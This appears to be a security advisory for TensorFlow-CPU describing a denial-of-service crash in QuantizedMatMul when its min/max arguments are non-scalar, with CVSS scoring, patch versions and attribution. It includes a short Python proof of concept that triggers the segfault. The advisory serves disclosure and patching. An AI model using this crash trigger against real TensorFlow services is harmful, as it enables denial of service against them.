PT-2026-59900 · Pypi · Tensorflow-Cpu
Publicado
2026-07-13
·
Atualizado
2026-07-13
CVSS v3.1
5.9
Média
| Vetor | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
QuantizedMatMul is given nonscalar input for:min amax amin bmax bIt gives a segfault that can be used to trigger a denial of service attack.
python
import tensorflow as tf
Toutput = tf.qint32
transpose a = False
transpose b = False
Tactivation = tf.quint8
a = tf.constant(7, shape=[3,4], dtype=tf.quint8)
b = tf.constant(1, shape=[2,3], dtype=tf.quint8)
min a = tf.constant([], shape=[0], dtype=tf.float32)
max a = tf.constant(0, shape=[1], dtype=tf.float32)
min b = tf.constant(0, shape=[1], dtype=tf.float32)
max b = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw ops.QuantizedMatMul(a=a, b=b, min a=min a, max a=max a, min b=min b, max b=max b, Toutput=Toutput, transpose a=transpose a, transpose b=transpose b, Tactivation=Tactivation)Patches
We have patched the issue in GitHub commit aca766ac7693bf29ed0df55ad6bfcc78f35e7f48.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Correção
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Identificadores relacionados
Produtos afetados
Tensorflow-Cpu